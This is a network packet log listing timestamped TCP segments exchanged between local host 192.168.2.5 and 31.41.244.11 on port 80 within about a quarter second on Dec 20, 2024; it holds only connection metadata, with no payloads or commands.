Dec 20, 2024 02:11:33.345695019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.345856905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.345909119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.346321106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.346374035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.346453905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.346503019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.347016096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.347069025 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.347069025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.347136974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.347728968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.347783089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.347836971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.347888947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.348417997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.348468065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.348915100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.348967075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.349095106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.349145889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.349440098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.349493027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.349783897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.349838018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.350007057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.350054026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.350495100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.350548029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.350867987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.350922108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.351206064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.351258993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.351910114 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.351926088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.351963043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.351978064 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.352000952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.352049112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.352581024 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.352633953 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.353193998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.353249073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.353317976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.353332996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.353368044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.353379965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.353971004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.354024887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.354126930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.354178905 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.354661942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.354715109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.354768991 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.354825020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.355386972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.355438948 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.355521917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.355571985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.356082916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.356137991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.356802940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.356818914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.356857061 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.356868982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.356941938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.356988907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.357470036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.357523918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.357611895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.357665062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.358175039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.358228922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.358889103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.358903885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.358941078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.358952999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.358979940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.359028101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.359580040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.359632015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.360302925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.360320091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.360342979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.360356092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.360368967 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.360383034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.360985041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.361037016 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.361119032 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.361170053 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.361697912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.361756086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.361917973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.361968040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.362396002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.362411976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.362452030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.363068104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.363120079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.363121033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.363171101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.363761902 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.363815069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.364057064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.364132881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.364439011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.364490032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.364720106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.364773989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.365184069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.365199089 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.365233898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.365246058 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.365911007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.365926027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.365964890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.365977049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.366543055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.366596937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.366730928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.366781950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.367237091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.367288113 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.367692947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.367746115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.367948055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.367964029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.367999077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.368010044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.368633986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.368685961 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.369322062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.369362116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.369371891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.369405031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.369606972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.369657993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.370034933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.370085001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.370203018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.370251894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.370713949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.370763063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.370935917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.370989084 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.371449947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.371465921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.371500969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.371512890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.372107029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.372159958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.372582912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.372632027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.372797012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.372848034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.372988939 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.373053074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.373506069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.373559952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.373825073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.373874903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.374222040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.374274015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.374387980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.374439001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.374916077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.374965906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.375260115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.375318050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.375623941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.375674009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.376063108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.376115084 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.376285076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.376332998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.376705885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.376766920 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.376981974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.377033949 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.377743006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.377758026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.377794027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.377808094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.377918005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.377973080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.378386021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.378437042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.378571987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.378623009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.379085064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.379137039 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.379189014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.379242897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.379785061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.379842043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.380243063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.380299091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.380445004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.380500078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.542449951 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.542602062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.542686939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.542840004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.542860031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.542900085 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.542929888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.544404030 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.544471979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.544502974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.544522047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.544568062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.544656038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.544914961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.544972897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.545027971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.545084000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.545959949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.546015024 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.546044111 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.546061039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.546093941 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.546116114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.546257019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.546443939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.546704054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.547152996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.547204018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.547384977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.547435045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.547676086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.547728062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.548100948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.548492908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.548548937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.548840046 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.548856974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.548896074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.548930883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.549499035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.549611092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.549664974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.550224066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.550240993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.550283909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.550882101 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.550944090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.551306963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.551367998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.551589966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.551645994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.552319050 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.552335978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.552375078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.552376986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.552397013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.552859068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.553041935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.553097963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.553687096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.553704977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.553740978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.553755045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.553812027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.554402113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.554418087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.554457903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.554497004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.555052996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.555263042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.555325985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.555819035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.555835962 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.555872917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.555887938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.556864977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.556881905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.556931973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.557920933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.557938099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.557955027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.557976007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.557998896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.558159113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.558214903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.558533907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.558584929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.558955908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.559015036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.559250116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.559278965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.559307098 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.559329033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.559948921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.560080051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.560559034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.560671091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.560687065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.560724020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.560770988 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.561325073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.561630964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.561686039 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.562031984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.562087059 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.562130928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.562184095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.562730074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.562784910 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.563304901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.563380003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.563467026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.563524961 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.563554049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.563611031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.564120054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.564260960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.564313889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.564826965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.564884901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.565547943 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.565565109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.565606117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.565640926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.565676928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.565690041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.566221952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.566889048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.566973925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.567035913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.567054033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.567102909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.567608118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.567933083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.568002939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.568306923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.568360090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.568974018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.569058895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.569073915 CET	80	49875	31.41.244.11	192.168.2.5
